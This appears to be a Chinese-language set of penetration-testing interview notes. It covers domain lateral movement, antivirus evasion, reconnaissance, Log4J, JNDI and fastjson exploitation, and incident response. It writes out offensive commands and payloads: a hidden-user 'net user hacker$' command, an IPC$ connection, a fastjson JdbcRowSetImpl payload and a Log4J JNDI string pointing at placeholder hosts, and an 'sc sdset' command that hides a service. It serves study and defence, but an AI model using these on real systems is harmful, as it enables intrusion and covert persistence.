- IP 溯源反制(根据攻击 IP 溯源攻击者画像)
- 社工(有人的地方就有社工,社工永远是最无解的手段,不管是进攻还是反制)
- 威胁情报收集、攻击样本分析
- 利用攻击日志留痕、攻击工具本身(如 webshell 管理工具,CS Team 服务端等)进行反制
拿域控的思路
这里默认已经拿到主机,现在准备拿域控
主要分以下几个方向:域内信息收集、主机探测、密码抓取、内网横向
- 域内信息收集:域内主机权限、是否存在域、域名、域内其他主机信息、域内用户组、域管理员、域信任关系、域内密码等
- 主机探测:
NetBIOS
、Scanline
、ARP
、Nmap
等- 密码抓取:
mimikatz
、getpass
等- 内网横向:IPC$ 横向、PTH 横向、票据传递横向等
内网横向的手段
IPC 横向、PTH 横向、PTT 横向、票据传递横向、内核漏洞(MS14-068)、集成工具(msf、cs)等
IPC 横向的原理
IPC 是
Internet Process Connection, 网络进程连接
的缩写。是为了实现进程之间通信而开放的一个命名管道,可以通过验证用户名和密码获取响应权限,通常是在进程管理计算机共享资源时使用。IPC 连接建立需要主机开启 139(NetBIOS 协议)和 445(文件共享协议)端口,并且管理员开启了默认共享功能
IPC 横向实际上就是通过建立 IPC 连接(
net use \\xxx.xxx.xxx.xxx\ipc$ "name@passwd" /user:adminxxx
)后,通过 IPC 管道进行横向操作(dir \\xxx.xxx.xxx.xxx\c$
)
PTH 横向的原理
PTH 是
Pass the hash, 哈希传递攻击
的缩写。其原理是通过直接找到与账户相关的密码 Hash 值(通常是 NTML Hash),由于域环境中,域管理员与本地管理员的账户大概率都是相同的,利用这种场景,使用 Hash 传递,不需要破解密码明文,直接使用密文就可以横向移动。通常配合mimikatz
工具使用。
主流的免杀手段有哪些
- 静态免杀:修改文件特征码(绕过杀软对恶意代码的拦截,如反弹 shell,端口监听等,包括一些常用工具的代码特征等)
- 替换非关键数据
- 替换等价方法
- 不影响逻辑的情况下交换代码顺序
- 增加无效代码
- 加壳
- 伪造签名
- 动态免杀:软件行为控制(绕过杀软对恶意行为的拦截,如文件写入、进程操作、注入劫持、注册表修改等)
- 等价替换 API
- 重写 API
外围打点的基本流程
- 确定目标
- 信息收集(天眼查、企查查、oneforall、fofa、enscan 等,哦,对了,社工钓鱼~)
- 漏洞探测(已知组件漏洞、CMS 识别、OWasp Top10、弱口令、未授权访问、目录爆破等)
- getshell
外围打点的常用工具
企业信息收集:企查查、天眼查
子域名扫描工具:Enscan、水泽、onforall、xray
空间测绘:Fofa、hunter、Quake、zoomeye
指纹识别:wappalyzer、Glass
目录扫描:dirsearch、Dirmap、rad
漏洞扫描:goby、xray
外围打点常用的漏洞
弱口令
未授权
任意用户注册/登录
万能密码/验证码
SQL 注入
接口未鉴权
任意用户密码重置
越权
文件上传
外围打点常用的 FOFA 语句
- domain=“xxx.com”
- body=“Index of/”
- title=“后台”
- port=“6379”
识别和绕过 CDN 的思路
判断一个站是否使用了 CDN 技术可以直接通过多地ping或者nslookup等工具扫描,如果返回的 IP 不同,则大概率使用了 CDN 技术;如果相同,也不一定没使用。如果需要进一步判断(一般没必要),可以通过常用的 CDN 网段、ASN 码等进一步识别
绕过 CDN 通常有以下几种思路:
- 子域名、旁站绕过(有些子域名可能没有使用 CDN,毕竟 CDN 挺贵的)
- 多地ping绕过、国外ping绕过(有些地区可能没有使用 CDN)
- 域名解析记录查询(有些域名可能是后期加的 CDN 技术,早期解析的是真实地址)
- 邮箱服务器绕过(邮箱服务器通常会部署在主服务器,且可能没有 CDN)
- 反向链接(通常配合邮件使用,订阅邮件,让服务器主动发送信息给我们,此时它携带的IP大概率就是真实IP)
- 敏感文件泄露(从网站的 JS、配置文件、内容中收集信息,可能会泄露真实IP)
Windows 创建隐藏用户的方式有哪些
Windows 常见的创建隐藏用户方式有两种:
- 命令创建名为
xxx$
形式的隐藏用户(net
命令中看不到,控制面板中可以看到)。
net user hacker$ password /add
- 注册表克隆用户并隐藏(隐蔽性较高)。
- 创建
xxx$
隐藏用户并导出注册表- 注册表中克隆
admin
用户的权限覆盖xxx$
用户并导出注册表- 删除
xxx$
隐藏用户- 顺序执行导出的注册表(1. 创建隐藏用户;2. 为隐藏用户赋权)
正向 Shell 与反向 Shell
正向 shell 是主控端主动向被控端发起连接
反向 shell 是等待被控端主动向主控端发起连接
Windows 系统和 Linux 系统的常用命令
Windows:
- cd、dir、findstr、copy、md、rd、move、del、ping、telnet、tasklist、taskkill、net user、cls、services
Linux:
- cd、ls、ll、find、grep、mkdir、rm、top、cat、less、touch、vim、ifconfig、ps、kill
Redis 未授权访问如何利用
- 连接 redis
- 写入反弹 shell
- 配置 cron 目录和文件名
- 持久化保存
- 连接 webshell
- 必要时可以利用 shell 写入后门维持权限
如何根据域名查找真实 IP
nslookup
查询ping
查询whois
查询- 域名反查工具(网站)
- 网站备案信息查询
Java 内存马的原理
内存马是无文件 webshell 中最常见的攻击手段之一。其基本原理就是当客户端发起请求后,服务端中如
Listener
、Filter
、Servlet
等组件会根据请求过程做如监听、过滤、处理等操作,内存马就是利用利用这个请求过程在内存中修改已有组件或者动态注册一个新的组件,插入恶意shell
来达到控制服务器的目的。
内存马如何查杀
内存马的查杀的流程通常如下:
- 检查 web 日志,查看是否有可疑流量。
- 检查中间件日志与中间件版本,排查是否是中间件漏洞导致的内存马攻击。
- 检查其他流量日志。
- 内存马的流量特征主要有两点:
- 可能会有大量的 url 相同但 params 不同且响应 200 的请求(Java Filter 和 Listener 内存马)
- 可能会有类似于 webshell 流量特征,但返回 200 的 url 目录下无此文件
- 常用的内存马查杀工具:
arthas
java-memshell-scanner
FindShell
内存马的特征识别(待补充)
- Java 内存马对应的本地
classloader
路径下没有.class
文件(因为内存马的特点就是驻留在内存中的无文件式shell)- Java Filter 内存马通常优先级会比较高(因为要确保各种情况下都执行),且在
webshell
中没有配置(因为动态注册,不需要配置)
Log4J 的原理
- Log4J 本身对 Jndi Lookup 的支持,使得 Log4J 在输出日志时可以使用类似于
${jndi:xxxx}
的语句调用 jndi 服务- Jndi 在调用 ldap 服务时,如果在 ldap 服务中找不到对应资源,并且 ldap 中存储的是外部资源命名引用时,就会去指定的外部连接下载文件
- Java 的类有一个特点,无参构造函数或者静态代码块中的代码,会在类加载时自动调用
- 结合以上三点,构造一个恶意 java 类,在静态代码块中构造恶意指令;启动一个 ladp 服务,引入外部资源(恶意类);利用 jndi lookup 的支持,使用
logger.error("${jndi:ldap://xxx.xxx.xxx/xxx.class}")
语句调用 ldap 服务,加载指定恶意类,就会触发恶意代码的执行。
JNDI 注入的原理
JNDI 是
Java Naming and Directory Interface, Java 命名目录接口
的缩写,是 Java 提供的标准命名和目录服务接口,提供了统一的可以访问各种命名目录服务(如:LDAP
、RMI
等)的方式。JNDI 注入,就是利用应用程序中的 JNDI 服务,将恶意代码注入到应用程序中。
比如著名的 Log4J 漏洞,其根本原理就是 LDAP 服务中存储外部恶意资源,JNDI 去访问 LDAP 时被 LDAP 外部恶意代码注入。
fastjson 的原理
fastjson 有一个非常好用的特色功能:
AutoType
,写作:@type
。它本意是能够在反序列化时指定类型,从而方便后续的开发操作。这个过程中,反序列化出来的信息是通过setXXX
方法写入@type
指定的类中的。而 fastjson 漏洞就是找到一个 java 包中存在的类
JdbcRowSetImpl
, 利用这个类支持传入rmi
源的特点,提前开启一个rmi
并准备好恶意 class 文件。然后构造 payload 如:{"@type":"com.sun.rowset.JdbcRowsetImpl", "dataSourceName":"rmi://xxx.xxx.xxx/xxx.class", "autoCommit": "true"}
,然后让 fastjson 去对其执行反序列化操作,执行setDataSourceName
方法,而这个方法内又执行到setAutoCommit
方法,自动连接rmi
获取到恶意 class 类并解析执行。
应急响应的流程
- 准备阶段:明确风险资产并对可能的安全问题加固
- 检测阶段:通过日常监控、日志等对可疑流量进行分析判断
- 抑制阶段:分析影响范围,限制攻击范围,安全软件隔离等手段尽可能将影响降低到最低
- 根除阶段:分析事件成因,找出源头并处理。如果是木马,对木马进行特征扫描分析和定位,并排除可能存在的后门
- 恢复阶段:对受到破坏的系统和数据进行恢复,并实时监控分析,确保运行无误的情况下可以逐步尝试恢复抑制阶段的操作
- 总结阶段:对攻击特征与所使用的有效手段进行记录,为后续可能遇到的同类型事件提供经验
CS 远控码的特征
- 端口: 默认 50050
- HTTPS 证书:默认证书中,别名、所有者等信息全是
CobalStrike
- UA:默认 CS HTTP 流量的 UA 是
MSIE
- Beacon: CS 上线时会先投递一个小
stage
,然后去beacon server
下载stage
,通过访问默认的uri
获取 cs 的shellcode
,从而识别到 cs beacon stagin 的特征。
大批量的邮件钓鱼已经被客户误点且发生在半小时以前,如何应急处理
- 预警阶段。发送全员紧急预警,提醒切勿继续中招。必要时隔离网络,防止钓鱼邮件继续扩散。
- 遏制阶段。提醒已中招的用户及时修改密码等敏感信息,全盘杀毒,协助排查客户个人电脑中的文件,如有木马、勒索程序、后门等,立即清除。
- 溯源阶段。从两个方面(发送者邮箱、钓鱼邮件源码)入手,收集发送者相关个人信息与钓鱼数据最终前往的目的服务器;信息收集、社工、IP反查、域名备案管理等手段查询目的站相关信息。
- 反制阶段。端口、子域名、目录扫描等手段对目标服务器进行渗透
fastjson 无法出网,该如何利用
TemplatesImpl
利用链构造完整的属性(难度较大)Commons-io
写入webshell
(需要得到网站路径)BasicDataSource
利用链将class
字节码转为BCEL
, 写入内存马Tomcat
的ClassLoader
回显
隧道攻击如何排查(待补充)
密码喷洒攻击的原理
密码喷洒也是爆破(撞库)攻击的一种,通常用于域内爆破,与常规的密码爆破不同的是,域内密码喷洒是用已知的密码列表去碰撞多个域内账号,可以有效的减少账号被锁定的问题。
密码喷洒的原理: 在 Kerberos 认证的预授权阶段,先确认用户存在,用户如果存在,客户端发送 AE-REQ 请求,如果密码正确,则返回 AS-REP,如果密码不正确,返回 KPB5KDC_ERP_PREAUTH_FAIED
密码喷洒的工具:kerbrute、domainpasswordspray
如何隐藏服务
利用 SDDL(安全描述符语言)修改服务的安全描述符
sc sdset xxxx “D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)
(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)”
大量的流量分析,如何快速筛选有用的流量
从 SQL 注入流量、XSS 流量、文件上传流量、weshell工具 等多种常见流量进行分类,具体待补充
大量日志如何分析
grep -A keywords xxxx.log > keywords.log
过滤关键字附近 n 行的内容
403 Forbidden 如何渗透?
403 Forbidden
通常是由无权访问目标 url 导致,可以通过尝试以下方式进行测试
- 修改 Host 尝试绕过
- 修改 Referer 尝试绕过
- 使用代理 IP 尝试绕过
- 修改 UA 头尝试绕过
- 扩展名绕过,对路径增加
./
,../
等- 目录扫描、Fuzz 扫描、端口扫描等尝试从其他目录或服务入手
查找 APP 中的 URL 链接
- 反编译 APK 源码
- 还有别的办法吗?求补充,不太懂这一块
遇到页面一闪而过的渗透思路?
页面一闪而过的原因通常是由于重定向。可以通过尝试以下方法进一步测试:
- BP 拦截 HTTP 请求和响应,检查是否存在重定向或 URL 跳转
- BP HTTP 请求历史中查看 JS 文件,检查是否存在重定向之类操作相关的代码,分析造成 URL 跳转的条件
- 切换不同的浏览器、代理、UA 头等,看是否可以避免这种情况
- 手动测试,尝试修改 URL 参数,或者切换不通的请求类型,提交不通的 Body,看是否可以避免这种情况
- 退一步,目录扫描、Fuzz 扫描、端口扫描,从其他目录或服务入手
遇到空白页的渗透思路?
出现空白页面的原因通常有以下几种可能:1.页面本身无 HTML 内容; 2.CSS&JS 对页面内容进行了隐藏; 3.前端代码出现语法错误无法解析(也可能某些浏览器无法解析新版语法); 4.服务端响应错误导致页面无内容返回; 5.请求或响应被拦截或重定向到其他页面。
针对这几种可能,通常的绕过思路也有以下几种:
- 查看网页源代码,从源代码中寻找关键信息;
- 关注源代码中
hidden
、disabled
等隐藏相关的代码属性,尝试修改观察页面变化;- 切换浏览器类型、版本尝试;
- BP等代理工具拦截HTTP请求和响应,查看是否存在隐藏的HTML&JS文件或者被拦截或重定向的请求等,必要时切换代理、UA等进行尝试;
- 如果拦截到HTTP请求或响应,尝试修改参数、请求类型、响应体等,观察页面变化;
- 目录扫描、Fuzz 扫描、端口扫描,从其他目录或服务入手
遇到404的渗透思路?
出现 404 页面一般标准的原因是 url 不存在(还有不标准的,毕竟错误页面内容可以自己定义)。可以通过以下方式尝试绕过:
- 目录扫描、Fuzz 扫描、端口扫描等,扫描其他目录与子目录或其他服务,寻找突破口
- 探测备份文件,如
index.bak
、index_old.php
之类,寻找突破口(其实也是一种目录扫描)- 尝试 url 参数 Fuzz 并注入,如
index.php?id=1
、index.php?id=1'
看是否会有报错信息或者注入类漏洞- 端口扫描,扫描此服务器下是否有开放其他端口
- 切换代理、UA 头等尝试绕过,有的网站可能会对 UA 头或者访问来源进行检测
遇到welcome to nginx的渗透思路?
welcome to nginx
是 Ngnix 的经典欢迎页,意味着成功访问到了 Ngnix 服务。接下来就从以下几种思路:
- 收集
ngnix
版本,考虑已知的nginx
相关漏洞: 文件解析漏洞、文件名逻辑漏洞(CVE-2013-4547)、整数溢出漏洞(CVE-2017-7529)、CRLF注入漏洞 等;- 更换代理、UA 尝试绕过;
- 目录遍历、Fuzz 扫描等方式,尝试对
nginx
服务下资源进行爆破,并结合上述漏洞尝试绕过;- 端口扫描。尝试从其他服务入手;
遇到tomcat的渗透思路?
XSS 和 CSRF 如何配合使用?
条件竞争的原理
使用并发可以对哪些点进行测试?
- 验证码发送
- 文件上传
- 点赞
- 领优惠券
反弹 Shell 的方法
WAF 的绕过姿势,分块绕 WAF 的原理?
SSH 相关的后门一般有哪些?
UDF 提权原理
UDF 提权与 MySQL 版本有什么关系?
5.5 以上不能使用 UDF 提权。并不是不能,而是因为 5.5 以上 Mysql 启动时是使用 mysql 用户,不是 root 用户,所以提权之后也是 mysql 用户而不是 root 用户
SSRF 和 Redis 如何配合 getShell
00 截断的原理
如果有条件修改 .htaccess 文件,如何 getshell
Shiro 550 和 721 有什么不同
TCP Flood 攻击的原理
DNS Log 网站可以用来干什么? 如果用 SQL 注入配合 DNS Log 回显,需要用到哪些 SQL 函数?
load file
如何收集某公司的小程序和APP
小蓝本
企查查
脉脉
enscan
Fuzz 技术使用场景
目录扫描
文件扫描
SQL 注入
JS 对漏洞挖掘的作用
接口泄露
前端逻辑泄露
前端加密规则泄露
前端硬编码泄露
阿里云的 Access Key 泄露,如何利用
JS 如何逆向
PhpAdmin getShell 的方式
弱口令登录,数据库中写入
本地文件包含如何利用 getShell
将木马保存到日志
如何将 WebShell 做成隐藏文件
如何上线内网中不出网的机器
跳板机代理
CS
端口转发
冰蝎流量转发